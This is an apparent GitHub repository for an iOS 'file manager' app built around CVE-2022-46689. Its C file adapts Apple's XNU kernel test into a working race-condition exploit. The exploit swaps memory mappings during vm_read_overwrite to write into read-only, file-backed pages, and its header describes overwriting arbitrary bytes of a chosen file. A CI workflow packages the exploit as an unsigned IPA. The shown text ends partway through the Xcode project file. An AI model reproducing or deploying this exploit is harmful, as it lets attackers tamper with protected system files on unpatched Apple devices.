├── README.md
├── files
├── Assets.xcassets
│ ├── Contents.json
│ ├── AccentColor.colorset
│ │ └── Contents.json
│ └── AppIcon.appiconset
│ │ └── Contents.json
├── Preview Content
│ └── Preview Assets.xcassets
│ │ └── Contents.json
├── files-Bridging-Header.h
├── filesApp.swift
├── vm_unaligned_copy_switch_race.h
├── vm_unaligned_copy_switch_race.c
└── ContentView.swift
├── files.xcodeproj
├── project.xcworkspace
│ ├── contents.xcworkspacedata
│ └── xcshareddata
│ │ └── IDEWorkspaceChecks.plist
├── xcuserdata
│ └── mineek.xcuserdatad
│ │ └── xcschemes
│ │ └── xcschememanagement.plist
├── xcshareddata
│ └── xcschemes
│ │ └── files.xcscheme
└── project.pbxproj
└── .github
└── workflows
└── ipa.yml
/README.md:
--------------------------------------------------------------------------------
1 | # FileManager
2 | Hacked together File Manager for CVE-2022-46689
3 |
--------------------------------------------------------------------------------
/files/Assets.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "author" : "xcode",
4 | "version" : 1
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/files/Preview Content/Preview Assets.xcassets/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "info" : {
3 | "author" : "xcode",
4 | "version" : 1
5 | }
6 | }
7 |
--------------------------------------------------------------------------------
/files/files-Bridging-Header.h:
--------------------------------------------------------------------------------
1 | //
2 | // Use this file to import your target's public headers that you would like to expose to Swift.
3 | //
4 |
5 | #import "vm_unaligned_copy_switch_race.h"
6 |
--------------------------------------------------------------------------------
/files.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/files/Assets.xcassets/AccentColor.colorset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "colors" : [
3 | {
4 | "idiom" : "universal"
5 | }
6 | ],
7 | "info" : {
8 | "author" : "xcode",
9 | "version" : 1
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/files/Assets.xcassets/AppIcon.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "universal",
5 | "platform" : "ios",
6 | "size" : "1024x1024"
7 | }
8 | ],
9 | "info" : {
10 | "author" : "xcode",
11 | "version" : 1
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/files/filesApp.swift:
--------------------------------------------------------------------------------
1 | //
2 | // filesApp.swift
3 | // files
4 | //
5 | // Created by Mineek on 28/12/2022.
6 | //
7 |
8 | import SwiftUI
9 |
10 | @main
11 | struct filesApp: App {
12 | var body: some Scene {
13 | WindowGroup {
14 | ContentView()
15 | }
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/files.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/files/vm_unaligned_copy_switch_race.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | /// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
5 | /// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. ``
6 | /// `overwrite_length` must be less than or equal to `PAGE_LENGTH - 1`.
7 | /// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
8 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
9 |
--------------------------------------------------------------------------------
/files.xcodeproj/xcuserdata/mineek.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | files.xcscheme_^#shared#^_
8 |
9 | orderHint
10 | 0
11 |
12 |
13 | SuppressBuildableAutocreation
14 |
15 | 6F2E69B2295CE65B007338D8
16 |
17 | primary
18 |
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/.github/workflows/ipa.yml:
--------------------------------------------------------------------------------
1 | name: Build and upload IPA
2 |
3 | on:
4 | push:
5 | workflow_dispatch:
6 |
7 | jobs:
8 | build:
9 | runs-on: macos-latest
10 | steps:
11 | - name: Checkout
12 | uses: actions/checkout@v3
13 |
14 | - name: Build IPA
15 | run: |
16 | xcodebuild -project files.xcodeproj -scheme files -sdk iphoneos -configuration Release CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGNING_ALLOWED=NO -derivedDataPath build
17 | mkdir -p Payload
18 | cp -r build/Build/Products/Release-iphoneos/files.app Payload/
19 | zip -r files.ipa Payload
20 |
21 | - name: Upload IPA
22 | uses: actions/upload-artifact@v2
23 | with:
24 | name: files.ipa
25 | path: files.ipa
--------------------------------------------------------------------------------
/files.xcodeproj/xcshareddata/xcschemes/files.xcscheme:
--------------------------------------------------------------------------------
1 |
2 |
5 |
8 |
9 |
15 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
32 |
33 |
43 |
45 |
51 |
52 |
53 |
54 |
60 |
62 |
68 |
69 |
70 |
71 |
73 |
74 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/files/vm_unaligned_copy_switch_race.c:
--------------------------------------------------------------------------------
1 | // from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
2 | // modified to compile outside of XNU
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #include
13 | #include
14 |
15 | #include "vm_unaligned_copy_switch_race.h"
16 |
17 | #define T_QUIET
18 | #define T_EXPECT_MACH_SUCCESS(a, b)
19 | #define T_EXPECT_MACH_ERROR(a, b, c)
20 | #define T_ASSERT_MACH_SUCCESS(a, b, ...)
21 | #define T_ASSERT_MACH_ERROR(a, b, c)
22 | #define T_ASSERT_POSIX_SUCCESS(a, b)
23 | #define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
24 | #define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
25 | #define T_ASSERT_TRUE(a, b, ...)
26 | #define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
27 | #define T_DECL(a, b) static void a(void)
28 | #define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
29 |
30 | struct context1 {
31 | vm_size_t obj_size;
32 | vm_address_t e0;
33 | mach_port_t mem_entry_ro;
34 | mach_port_t mem_entry_rw;
35 | dispatch_semaphore_t running_sem;
36 | pthread_mutex_t mtx;
37 | volatile bool done;
38 | };
39 |
40 | static void *
41 | switcheroo_thread(__unused void *arg)
42 | {
43 | kern_return_t kr;
44 | struct context1 *ctx;
45 |
46 | ctx = (struct context1 *)arg;
47 | /* tell main thread we're ready to run */
48 | dispatch_semaphore_signal(ctx->running_sem);
49 | while (!ctx->done) {
50 | /* wait for main thread to be done setting things up */
51 | pthread_mutex_lock(&ctx->mtx);
52 | if (ctx->done) {
53 | pthread_mutex_unlock(&ctx->mtx);
54 | break;
55 | }
56 | /* switch e0 to RW mapping */
57 | kr = vm_map(mach_task_self(),
58 | &ctx->e0,
59 | ctx->obj_size,
60 | 0, /* mask */
61 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
62 | ctx->mem_entry_rw,
63 | 0,
64 | FALSE, /* copy */
65 | VM_PROT_READ | VM_PROT_WRITE,
66 | VM_PROT_READ | VM_PROT_WRITE,
67 | VM_INHERIT_DEFAULT);
68 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
69 | /* wait a little bit */
70 | usleep(100);
71 | /* switch bakc to original RO mapping */
72 | kr = vm_map(mach_task_self(),
73 | &ctx->e0,
74 | ctx->obj_size,
75 | 0, /* mask */
76 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
77 | ctx->mem_entry_ro,
78 | 0,
79 | FALSE, /* copy */
80 | VM_PROT_READ,
81 | VM_PROT_READ,
82 | VM_INHERIT_DEFAULT);
83 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
84 | /* tell main thread we're don switching mappings */
85 | pthread_mutex_unlock(&ctx->mtx);
86 | usleep(100);
87 | }
88 | return NULL;
89 | }
90 |
91 | bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
92 | bool retval = false;
93 | pthread_t th = NULL;
94 | int ret;
95 | kern_return_t kr;
96 | time_t start, duration;
97 | #if 0
98 | mach_msg_type_number_t cow_read_size;
99 | #endif
100 | vm_size_t copied_size;
101 | int loops;
102 | vm_address_t e2, e5;
103 | struct context1 context1, *ctx;
104 | int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
105 | vm_address_t ro_addr, tmp_addr;
106 | memory_object_size_t mo_size;
107 |
108 | ctx = &context1;
109 | ctx->obj_size = 256 * 1024;
110 |
111 | void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
112 | if (file_mapped == MAP_FAILED) {
113 | fprintf(stderr, "failed to map\n");
114 | return false;
115 | }
116 | if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
117 | fprintf(stderr, "already the same?\n");
118 | munmap(file_mapped, ctx->obj_size);
119 | return true;
120 | }
121 | ro_addr = file_mapped;
122 |
123 | ctx->e0 = 0;
124 | ctx->running_sem = dispatch_semaphore_create(0);
125 | T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
126 | ret = pthread_mutex_init(&ctx->mtx, NULL);
127 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
128 | ctx->done = false;
129 | ctx->mem_entry_rw = MACH_PORT_NULL;
130 | ctx->mem_entry_ro = MACH_PORT_NULL;
131 | #if 0
132 | /* allocate our attack target memory */
133 | kr = vm_allocate(mach_task_self(),
134 | &ro_addr,
135 | ctx->obj_size,
136 | VM_FLAGS_ANYWHERE);
137 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
138 | /* initialize to 'A' */
139 | memset((char *)ro_addr, 'A', ctx->obj_size);
140 | #endif
141 |
142 | /* make it read-only */
143 | kr = vm_protect(mach_task_self(),
144 | ro_addr,
145 | ctx->obj_size,
146 | TRUE, /* set_maximum */
147 | VM_PROT_READ);
148 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
149 | /* make sure we can't get read-write handle on that target memory */
150 | mo_size = ctx->obj_size;
151 | kr = mach_make_memory_entry_64(mach_task_self(),
152 | &mo_size,
153 | ro_addr,
154 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
155 | &ctx->mem_entry_ro,
156 | MACH_PORT_NULL);
157 | T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
158 | /* take read-only handle on that target memory */
159 | mo_size = ctx->obj_size;
160 | kr = mach_make_memory_entry_64(mach_task_self(),
161 | &mo_size,
162 | ro_addr,
163 | MAP_MEM_VM_SHARE | VM_PROT_READ,
164 | &ctx->mem_entry_ro,
165 | MACH_PORT_NULL);
166 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
167 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
168 | /* make sure we can't map target memory as writable */
169 | tmp_addr = 0;
170 | kr = vm_map(mach_task_self(),
171 | &tmp_addr,
172 | ctx->obj_size,
173 | 0, /* mask */
174 | VM_FLAGS_ANYWHERE,
175 | ctx->mem_entry_ro,
176 | 0,
177 | FALSE, /* copy */
178 | VM_PROT_READ,
179 | VM_PROT_READ | VM_PROT_WRITE,
180 | VM_INHERIT_DEFAULT);
181 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
182 | tmp_addr = 0;
183 | kr = vm_map(mach_task_self(),
184 | &tmp_addr,
185 | ctx->obj_size,
186 | 0, /* mask */
187 | VM_FLAGS_ANYWHERE,
188 | ctx->mem_entry_ro,
189 | 0,
190 | FALSE, /* copy */
191 | VM_PROT_READ | VM_PROT_WRITE,
192 | VM_PROT_READ | VM_PROT_WRITE,
193 | VM_INHERIT_DEFAULT);
194 | T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
195 |
196 | /* allocate a source buffer for the unaligned copy */
197 | kr = vm_allocate(mach_task_self(),
198 | &e5,
199 | ctx->obj_size,
200 | VM_FLAGS_ANYWHERE);
201 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
202 | /* initialize to 'C' */
203 | memset((char *)e5, 'C', ctx->obj_size);
204 |
205 | char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - overwrite_length);
206 | memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
207 |
208 | int overwrite_first_diff_offset = -1;
209 | char overwrite_first_diff_value = 0;
210 | for (int off = 0; off < overwrite_length; off++) {
211 | if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
212 | overwrite_first_diff_offset = off;
213 | overwrite_first_diff_value = ((char*)ro_addr)[off];
214 | }
215 | }
216 | if (overwrite_first_diff_offset == -1) {
217 | fprintf(stderr, "no diff?\n");
218 | return false;
219 | }
220 |
221 | /*
222 | * get a handle on some writable memory that will be temporarily
223 | * switched with the read-only mapping of our target memory to try
224 | * and trick copy_unaligned to write to our read-only target.
225 | */
226 | tmp_addr = 0;
227 | kr = vm_allocate(mach_task_self(),
228 | &tmp_addr,
229 | ctx->obj_size,
230 | VM_FLAGS_ANYWHERE);
231 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
232 | /* initialize to 'D' */
233 | memset((char *)tmp_addr, 'D', ctx->obj_size);
234 | /* get a memory entry handle for that RW memory */
235 | mo_size = ctx->obj_size;
236 | kr = mach_make_memory_entry_64(mach_task_self(),
237 | &mo_size,
238 | tmp_addr,
239 | MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
240 | &ctx->mem_entry_rw,
241 | MACH_PORT_NULL);
242 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
243 | T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
244 | kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
245 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
246 | tmp_addr = 0;
247 |
248 | pthread_mutex_lock(&ctx->mtx);
249 |
250 | /* start racing thread */
251 | ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
252 | T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
253 |
254 | /* wait for racing thread to be ready to run */
255 | dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
256 |
257 | duration = 10; /* 10 seconds */
258 | T_LOG("Testing for %ld seconds...", duration);
259 | for (start = time(NULL), loops = 0;
260 | time(NULL) < start + duration;
261 | loops++) {
262 | /* reserve space for our 2 contiguous allocations */
263 | e2 = 0;
264 | kr = vm_allocate(mach_task_self(),
265 | &e2,
266 | 2 * ctx->obj_size,
267 | VM_FLAGS_ANYWHERE);
268 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
269 |
270 | /* make 1st allocation in our reserved space */
271 | kr = vm_allocate(mach_task_self(),
272 | &e2,
273 | ctx->obj_size,
274 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
275 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
276 | /* initialize to 'B' */
277 | memset((char *)e2, 'B', ctx->obj_size);
278 |
279 | /* map our read-only target memory right after */
280 | ctx->e0 = e2 + ctx->obj_size;
281 | kr = vm_map(mach_task_self(),
282 | &ctx->e0,
283 | ctx->obj_size,
284 | 0, /* mask */
285 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
286 | ctx->mem_entry_ro,
287 | 0,
288 | FALSE, /* copy */
289 | VM_PROT_READ,
290 | VM_PROT_READ,
291 | VM_INHERIT_DEFAULT);
292 | T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
293 |
294 | /* let the racing thread go */
295 | pthread_mutex_unlock(&ctx->mtx);
296 | /* wait a little bit */
297 | usleep(100);
298 |
299 | /* trigger copy_unaligned while racing with other thread */
300 | kr = vm_read_overwrite(mach_task_self(),
301 | e5,
302 | ctx->obj_size,
303 | e2 + overwrite_length,
304 | &copied_size);
305 | T_QUIET;
306 | T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
307 | "vm_read_overwrite kr %d", kr);
308 | switch (kr) {
309 | case KERN_SUCCESS:
310 | /* the target was RW */
311 | kern_success++;
312 | break;
313 | case KERN_PROTECTION_FAILURE:
314 | /* the target was RO */
315 | kern_protection_failure++;
316 | break;
317 | default:
318 | /* should not happen */
319 | kern_other++;
320 | break;
321 | }
322 | /* check that our read-only memory was not modified */
323 | #if 0
324 | T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
325 | #endif
326 | bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
327 |
328 | /* tell racing thread to stop toggling mappings */
329 | pthread_mutex_lock(&ctx->mtx);
330 |
331 | /* clean up before next loop */
332 | vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
333 | ctx->e0 = 0;
334 | vm_deallocate(mach_task_self(), e2, ctx->obj_size);
335 | e2 = 0;
336 | if (!is_still_equal) {
337 | retval = true;
338 | fprintf(stderr, "RO mapping was modified\n");
339 | break;
340 | }
341 | }
342 |
343 | ctx->done = true;
344 | pthread_mutex_unlock(&ctx->mtx);
345 | pthread_join(th, NULL);
346 |
347 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
348 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
349 | kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
350 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
351 | kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
352 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
353 | kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size);
354 | T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
355 |
356 | #if 0
357 | T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
358 | kern_success, kern_protection_failure, kern_other);
359 | T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
360 | #endif
361 | return retval;
362 | }
363 |
--------------------------------------------------------------------------------
/files.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 56;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 6F2E69B7295CE65B007338D8 /* filesApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = 6F2E69B6295CE65B007338D8 /* filesApp.swift */; };
11 | 6F2E69B9295CE65B007338D8 /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 6F2E69B8295CE65B007338D8 /* ContentView.swift */; };
12 | 6F2E69BB295CE65D007338D8 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 6F2E69BA295CE65D007338D8 /* Assets.xcassets */; };
13 | 6F2E69BE295CE65D007338D8 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 6F2E69BD295CE65D007338D8 /* Preview Assets.xcassets */; };
14 | 6F2E69C7295CEC7C007338D8 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 6F2E69C5295CEC7B007338D8 /* vm_unaligned_copy_switch_race.c */; };
15 | /* End PBXBuildFile section */
16 |
17 | /* Begin PBXFileReference section */
18 | 6F2E69B3295CE65B007338D8 /* files.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = files.app; sourceTree = BUILT_PRODUCTS_DIR; };
19 | 6F2E69B6295CE65B007338D8 /* filesApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = filesApp.swift; sourceTree = ""; };
20 | 6F2E69B8295CE65B007338D8 /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = ""; };
21 | 6F2E69BA295CE65D007338D8 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; };
22 | 6F2E69BD295CE65D007338D8 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = ""; };
23 | 6F2E69C4295CEC7B007338D8 /* files-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "files-Bridging-Header.h"; sourceTree = ""; };
24 | 6F2E69C5295CEC7B007338D8 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; };
25 | 6F2E69C6295CEC7C007338D8 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; };
26 | /* End PBXFileReference section */
27 |
28 | /* Begin PBXFrameworksBuildPhase section */
29 | 6F2E69B0295CE65B007338D8 /* Frameworks */ = {
30 | isa = PBXFrameworksBuildPhase;
31 | buildActionMask = 2147483647;
32 | files = (
33 | );
34 | runOnlyForDeploymentPostprocessing = 0;
35 | };
36 | /* End PBXFrameworksBuildPhase section */
37 |
38 | /* Begin PBXGroup section */
39 | 6F2E69AA295CE65B007338D8 = {
40 | isa = PBXGroup;
41 | children = (
42 | 6F2E69B5295CE65B007338D8 /* files */,
43 | 6F2E69B4295CE65B007338D8 /* Products */,
44 | );
45 | sourceTree = "";
46 | };
47 | 6F2E69B4295CE65B007338D8 /* Products */ = {
48 | isa = PBXGroup;
49 | children = (
50 | 6F2E69B3295CE65B007338D8 /* files.app */,
51 | );
52 | name = Products;
53 | sourceTree = "";
54 | };
55 | 6F2E69B5295CE65B007338D8 /* files */ = {
56 | isa = PBXGroup;
57 | children = (
58 | 6F2E69C5295CEC7B007338D8 /* vm_unaligned_copy_switch_race.c */,
59 | 6F2E69C6295CEC7C007338D8 /* vm_unaligned_copy_switch_race.h */,
60 | 6F2E69B6295CE65B007338D8 /* filesApp.swift */,
61 | 6F2E69B8295CE65B007338D8 /* ContentView.swift */,
62 | 6F2E69BA295CE65D007338D8 /* Assets.xcassets */,
63 | 6F2E69BC295CE65D007338D8 /* Preview Content */,
64 | 6F2E69C4295CEC7B007338D8 /* files-Bridging-Header.h */,
65 | );
66 | path = files;
67 | sourceTree = "";
68 | };
69 | 6F2E69BC295CE65D007338D8 /* Preview Content */ = {
70 | isa = PBXGroup;
71 | children = (
72 | 6F2E69BD295CE65D007338D8 /* Preview Assets.xcassets */,
73 | );
74 | path = "Preview Content";
75 | sourceTree = "";
76 | };
77 | /* End PBXGroup section */
78 |
79 | /* Begin PBXNativeTarget section */
80 | 6F2E69B2295CE65B007338D8 /* files */ = {
81 | isa = PBXNativeTarget;
82 | buildConfigurationList = 6F2E69C1295CE65D007338D8 /* Build configuration list for PBXNativeTarget "files" */;
83 | buildPhases = (
84 | 6F2E69AF295CE65B007338D8 /* Sources */,
85 | 6F2E69B0295CE65B007338D8 /* Frameworks */,
86 | 6F2E69B1295CE65B007338D8 /* Resources */,
87 | );
88 | buildRules = (
89 | );
90 | dependencies = (
91 | );
92 | name = files;
93 | productName = files;
94 | productReference = 6F2E69B3295CE65B007338D8 /* files.app */;
95 | productType = "com.apple.product-type.application";
96 | };
97 | /* End PBXNativeTarget section */
98 |
99 | /* Begin PBXProject section */
100 | 6F2E69AB295CE65B007338D8 /* Project object */ = {
101 | isa = PBXProject;
102 | attributes = {
103 | BuildIndependentTargetsInParallel = 1;
104 | LastSwiftUpdateCheck = 1420;
105 | LastUpgradeCheck = 1420;
106 | TargetAttributes = {
107 | 6F2E69B2295CE65B007338D8 = {
108 | CreatedOnToolsVersion = 14.2;
109 | LastSwiftMigration = 1420;
110 | };
111 | };
112 | };
113 | buildConfigurationList = 6F2E69AE295CE65B007338D8 /* Build configuration list for PBXProject "files" */;
114 | compatibilityVersion = "Xcode 14.0";
115 | developmentRegion = en;
116 | hasScannedForEncodings = 0;
117 | knownRegions = (
118 | en,
119 | Base,
120 | );
121 | mainGroup = 6F2E69AA295CE65B007338D8;
122 | productRefGroup = 6F2E69B4295CE65B007338D8 /* Products */;
123 | projectDirPath = "";
124 | projectRoot = "";
125 | targets = (
126 | 6F2E69B2295CE65B007338D8 /* files */,
127 | );
128 | };
129 | /* End PBXProject section */
130 |
131 | /* Begin PBXResourcesBuildPhase section */
132 | 6F2E69B1295CE65B007338D8 /* Resources */ = {
133 | isa = PBXResourcesBuildPhase;
134 | buildActionMask = 2147483647;
135 | files = (
136 | 6F2E69BE295CE65D007338D8 /* Preview Assets.xcassets in Resources */,
137 | 6F2E69BB295CE65D007338D8 /* Assets.xcassets in Resources */,
138 | );
139 | runOnlyForDeploymentPostprocessing = 0;
140 | };
141 | /* End PBXResourcesBuildPhase section */
142 |
143 | /* Begin PBXSourcesBuildPhase section */
144 | 6F2E69AF295CE65B007338D8 /* Sources */ = {
145 | isa = PBXSourcesBuildPhase;
146 | buildActionMask = 2147483647;
147 | files = (
148 | 6F2E69B9295CE65B007338D8 /* ContentView.swift in Sources */,
149 | 6F2E69B7295CE65B007338D8 /* filesApp.swift in Sources */,
150 | 6F2E69C7295CEC7C007338D8 /* vm_unaligned_copy_switch_race.c in Sources */,
151 | );
152 | runOnlyForDeploymentPostprocessing = 0;
153 | };
154 | /* End PBXSourcesBuildPhase section */
155 |
156 | /* Begin XCBuildConfiguration section */
157 | 6F2E69BF295CE65D007338D8 /* Debug */ = {
158 | isa = XCBuildConfiguration;
159 | buildSettings = {
160 | ALWAYS_SEARCH_USER_PATHS = NO;
161 | CLANG_ANALYZER_NONNULL = YES;
162 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
163 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20";
164 | CLANG_ENABLE_MODULES = YES;
165 | CLANG_ENABLE_OBJC_ARC = YES;
166 | CLANG_ENABLE_OBJC_WEAK = YES;
167 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
168 | CLANG_WARN_BOOL_CONVERSION = YES;
169 | CLANG_WARN_COMMA = YES;
170 | CLANG_WARN_CONSTANT_CONVERSION = YES;
171 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
172 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
173 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
174 | CLANG_WARN_EMPTY_BODY = YES;
175 | CLANG_WARN_ENUM_CONVERSION = YES;
176 | CLANG_WARN_INFINITE_RECURSION = YES;
177 | CLANG_WARN_INT_CONVERSION = YES;
178 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
179 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
180 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
181 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
182 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
183 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
184 | CLANG_WARN_STRICT_PROTOTYPES = YES;
185 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
186 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
187 | CLANG_WARN_UNREACHABLE_CODE = YES;
188 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
189 | COPY_PHASE_STRIP = NO;
190 | DEBUG_INFORMATION_FORMAT = dwarf;
191 | ENABLE_STRICT_OBJC_MSGSEND = YES;
192 | ENABLE_TESTABILITY = YES;
193 | GCC_C_LANGUAGE_STANDARD = gnu11;
194 | GCC_DYNAMIC_NO_PIC = NO;
195 | GCC_NO_COMMON_BLOCKS = YES;
196 | GCC_OPTIMIZATION_LEVEL = 0;
197 | GCC_PREPROCESSOR_DEFINITIONS = (
198 | "DEBUG=1",
199 | "$(inherited)",
200 | );
201 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
202 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
203 | GCC_WARN_UNDECLARED_SELECTOR = YES;
204 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
205 | GCC_WARN_UNUSED_FUNCTION = YES;
206 | GCC_WARN_UNUSED_VARIABLE = YES;
207 | IPHONEOS_DEPLOYMENT_TARGET = 15.0;
